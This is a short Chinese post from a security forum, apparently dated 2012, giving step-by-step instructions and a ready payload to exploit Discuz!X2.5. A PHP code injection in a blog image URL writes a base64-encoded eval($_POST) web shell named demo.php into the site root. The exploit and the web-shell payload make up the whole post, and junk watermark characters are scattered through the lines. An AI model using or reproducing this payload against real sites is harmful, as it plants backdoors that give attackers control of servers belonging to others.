浏览模式: 标准 | 列表2012年04月的文章
Discuz!X2.5 Release 20120407 Getshell 0day
Submitted by admin
2012, April 28, 11:02 PM
影响版本有：20120407，beta，rc - 专注信息安全( a. E* C! }% B4 U
1.注册任意账户 90 Security Team, B5 t8 Y$ K2 g% q! f+ L
2.登陆用户，发表blog日志（注意是日志） 9 g& r4 t9 z7 j- r
这里是我们自己的交流平台，是属于我们90sec所有成员的技术分享平台!5 {" |0 U& u: T5 @
3.添加图片，选择网络图片，地址：{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
我们90sec所有成员的技术分享平台! l; x+ b5 p: T* J+ U' |' ~
4.访问日志，论坛根目录下生成demo.php，一句发密c
